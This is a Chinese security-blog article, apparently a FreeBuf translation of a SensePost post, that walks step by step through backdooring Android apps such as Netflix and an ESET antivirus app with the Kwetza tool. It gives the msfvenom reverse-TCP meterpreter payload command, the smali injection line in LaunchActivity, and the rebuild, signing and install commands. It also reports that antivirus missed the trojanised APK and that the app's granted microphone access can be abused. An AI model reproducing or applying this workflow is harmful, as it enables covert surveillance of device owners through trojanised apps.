专栏首页FreeBuf如何用kwetza给安卓应用加后门

如何用kwetza给安卓应用加后门

*本文仅供安全学习、测试或信息安全教学用途,禁止非法使用

简介

这篇文章将会描述一种在Android可执行文件中种后门的方法。在接下来的动手操作部分,我将使用到开源工具Kwetza,没错作者就是我……

首先我会先介绍使用手工过程实现向现有Android应用植入后门的方式,其后我再介绍并讨论Kwetza是如何自动完成这些手工步骤的。

你可以通过Github repo找到Kwetza。

案例:感染正常Android应用

我们想要感染一款正常的Android应用程序(APK),当用户执行了这款看似正常的Android应用,payload将允许攻击者远程访问受影响设备,如网络摄像头,位置信息,手机短信等等。

当然还有一个大前提便是该应用程序的行为以及功能与正常的Android应用一致,不会引起用户的警觉。

Step 1:Payload

这部分十分简单,使用msfvenom就好。我们先来生成一个payload:

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.211 LPORT=4444 R > beard.apk

现在这款Android应用便能够在目标设备上为我们提供一个meterpreter会话。对于移动版本杀毒产品,这款payload的表现如何呢?

根据我们的分析,在41款杀毒产品中只有17款检测出beard.apk。额不是百分百的过杀软还是有些担心,这个payload并不是才出现并且也没有什么特殊之处。为何不是百分百的检测出,我也挺纳闷的。

Step 2:减负

对于这一步骤,如果我们着眼于beard.apk就会发现它有些臃肿,所以我们想通过一个单独的Java Class来完成这个重担。首先我将逆向beard.apk,并将所有函数都放进一个名为 AssistActivity.java的单独Java Class中。

如上图所示,beard.apk包含了多个文档,这些文档能让你的meterpreter玩的更精彩。然而我想把所有的东西都放到一个文件中,这样会更有意义一点。

请注意该payload的Main activity通过调用Payload class的start方法,进而使用其他类文件。我们将这些其他类文件的功能重构到AssistActivity文件。

Step 3: 监测目标

我们有一个单独的文件来代表我们payload了。接下来我们需要一个目标应用,我选择了Netflix。对于监测方面我希望在用户点击Netflix应用icon图标的那一刻payload就能够得到执行。如何实现呢?

很简单,将目光看向AndroidManifest.xml文件,它将告诉我们在应用启动时都有哪些Activity(即Java class)会被执行。接着在mainfest中搜索“MAIN”和“LAUNCHER”属性,我们就能得知当系统执行应用时会用到的activity以及相关文件。

btw,为了到这一步,你需要对下载的Netflix APK执行以下命令进行反编译操作:

apktool d Netflix.apk

Step 4: 继承

Okay,我们有两个被标记为可执行的文件

com.netflix.mediaclient.ui.launch.UIWebViewActivitycom.netflix.mediaclient.ui.launch.UIWebViewTabletActivity

没关系,根据进一步分析代码。我们发现这两个类都继承于一个父类,依次执行所有的启动代码等。

如上图所示,我们看到有两个入口点都是继承于“com.netflix.mediaclient.ui.launch.LaunchActivity”。这也意味着当Netflix执行时该activity是最后执行的,这就是我们的注入点。

Step 5: 优化

我们了解了在何处注入我们的恶意代码。现在就要利用Smali了,目前我们的payload是由两个Smali文件进行描述的,AssistActivity.smali以及我们使用Apktool反编译beard.apk时生成的AssistActivity$1.class。

接下来将两个文件移动到com/netflix/mediaclient.ui/launch目录中。

现在我帮需要更新几个引用,比如包引用,以及使用了应用程序命名空间的对象引用。基本上对于AssistActivity的引用都应该是这样的:

Lcom/netflix/mediaclient/ui/launch/AssistActivity

而不是:

Lsensepost/kwetza/AssistActivity

我们需要确认两个Smali文件都应用了更改。

Step 6: 注入

至此目标目录中已经有我们的两个Smali文件,现在我们需要配置目标Activity(Netflix)来调用我们的代码。这就修改“com.netflix.mediaclient.ui.launch.LaunchActivity”来调用AssistActivity:

AssistActivity.doThis(this);

在Smali中:

invoke-static {p0}, Lcom/netflix/mediaclient/ui/launch/AssistActivity;->doThis(Landroid/content/Context;)V

在进一步讨论之前,我们要在目标activity中找一个地方注入我们的代码。要做到这点,我们需要分析LaunchActivity并且寻找onCreate方法。当关联对象实例化后,在这个方法中的所有代码都会被执行,在本例中为LaunchActivity。

如上图所示,我们可以看到onCreate方法就在LaunchActivity中。如果你注意到行号,我们可以看到行号145到147是没有代码的。为了验证,我们打开相同文件后盯着它的Smali副本,LaunchActivity.smali

.line 146invoke-static {p0}, Lcom/netflix/mediaclient/ui/launch/AssistActivity;->doThis(Landroid/content/Context;)V

太棒了,我们成功将一行代码注入到LaunchActivity.smali。当Netflix app运行时将会看到我们的payload(AssistActivity)被执行。

Step 7: 最后一步

接下来我们需要对新修改的版本进行打包,签名,安装。

打包新的apk:

apktool b netflixDir

生成一个keystore:

keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

对apk进行签名:

jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1

安装新的Apk:

adb install Netflix.apk

#Sooooooooo what??

现在我们就有一份全新的Netflix Apk了,他将帮助我们从Android设备上获得一个meterpreter shell。让我们来看看杀软对它的态度:

事实证明,经过感染的Netflix Apk未被杀软检测出问题。接下来看看当我们点击Netflix icon图标时会发生什么

Okay我们得到meterpreter,但它能够做些什么事情呢?

现在我们尝试通过Netflix应用被授权的权限来获取目标设备的摄像头以及麦克风(注意,我们没有对Netflix应用本身添加或者删除需要请求的权限,仅仅只是注入了恶意代码)。

由于AndroidManifest.xml没有请求这个权限,所以不能打开设备摄像头。但是正常的Netflix应用会请求吗?

从上图中我们得知,Netflix应用有向设备请求麦克风访问权限。

<uses-permission android:name="android.permission.RECORD_AUDIO" />

简单来说我们无须再添加任何权限,就能获取设备的所有访问权限。正常的Netflix应用会请求联网以及麦克风权限,所以我们不需做任何事情就能获取设备麦克风的访问权限以及录音操作。

将所有需要的权限都增加完以获得meterpreter所提供的所有功能,Netflix应用会是个啥样呢?

不论是Netflix应用还是其他Android应用,meterpreter会话可以一直持续到手机锁上。为了结束meterpreter会话,用户需要准确的结束进程以及重启手机。

从最近的测试来看meterpreter会话依旧很稳定。

使用Kwetza自动化完成

以上步骤讨论的东西需要一定的安卓逆向知识,并且会消耗你宝贵的时间。接下来这里就是推销时间了,我们的Kwetza就是一款可以自动化完成上述步骤的好工具。

虽然已经有类似的工具backdoor-apk可以完成这项工作,但是Kwetza与现有的工具不同的是能更灵活的权限注入,以及可自定义的payload模版

Step 1: 感染

python kwetza.py targetApk.apk LHOST LPORT yes/no

targetApk.apk=你希望感染的APK名称

LHOST=监听IP

LPORT=监听端口

[yes]=“yes” 表示需要请求额外的权限, “no”表示利用应用默认的权限

Step 2: 安装

这一步骤就是发挥大家创造能力的时候了,现在你有一款包含payload的受感染Apk。该应用的功能看起来都正常,只是目标用户不知道而已。在下面的截图中,我们感染Eset的安卓杀毒应用。

标准感染(未篡改Manifest中的权限)就能让你成功访问用户的摄像头以及其他权限。

Kwetza需要两个重要的依赖,Python的BeautifulSoup以及ApkTool。都非常好设置,而且ApkTool使用默认配置就够了。

Step 3: 完工

你只需要将你的msf multihandler设置为指定的LHOST和LPORT,并将你的payload设置为“android/meterpreter/reverse_tcp”就ok咯。

结语

通过感染正常的Android应用,我们能够更直观的理解设备,用户以及杀软厂商对此类攻击的回应,并提醒他们针对移动领域的攻击真的是一块非常吸引人的大蛋糕。

*参考来源:Sensepost,FB小编鸢尾编译,未经许可禁止转载

本文分享自微信公众号 - FreeBuf(freebuf),作者:鸢尾

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-10-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 如何用HERCULES绕过杀软

    HERCULES是一个由Go语言开发的可以绕过防病毒软件的可定制的有效载荷生成器,只需简单的设置,就可以生成用于Metasploit的免杀payload,经测试...

    FB客服
  • fireELF:无文件Linux恶意代码框架

    fireELF是一个开源的跨平台无文件Linux恶意代码框架,它允许用户轻松的创建和管理payloads。默认情况下附带了'memfd_create',这是一种...

    FB客服
  • 看我如何绕过某托管公司域上的强大XSS过滤器

    本文为大家分享的是最近一次绕过某托管公司域上的XSS过滤器的经历。话不多说,下面我们直入主题!

    FB客服
  • HAWQ取代传统数仓实践(十二)——维度表技术之分段维度

    一、分段维度简介         在客户维度中,最具有分析价值的属性就是各种分类,这些属性的变化范围比较大。对某个个体客户来说,可能的分类属性包括:性别、年龄、...

    用户1148526
  • WWDC 2016:苹果watchOS 3正式亮相

    镁客网
  • Appium+python自动化(二十一)- 让猴子按你指令大闹手机 MonkeyScript(超详解)

      一年一度的暑假如期而至,每年必不可少的,便是《西游记》这部经典电视连续剧的播出,作为一名90后,对于这部经典剧的情谊,就是观看已成为一种习惯。依然深刻的记得...

    北京-宏哥
  • SQL快速入门 ( MySQL快速入门, MySQL参考, MySQL快速回顾 )

    先说点废话,很久没发文了,整理了下自己当时入门 SQL 的笔记,无论用于入门,回顾,参考查询,应该都是有一定价值的,可以按照目录各取所需。SQL数据库有很多,M...

    马哥Python
  • webstorm配置eslint【标记错误,修复错误】

    用户1149564
  • 如约而至|2017年3月期技术雷达正式发布!

    技术雷达是什么 技术雷达是由 ThoughtWorks 技术战略委员会(TAB)经由多番正式讨论给出的最新技术趋势报告,它以独特的雷达形式对各类最新技术的成熟度...

    ThoughtWorks
  • FastDFS图片服务器(分布式文件系统)学习。

    参考:https://blog.csdn.net/hiqingtian/article/details/79413471

    别先生

扫码关注云+社区

领取腾讯云代金券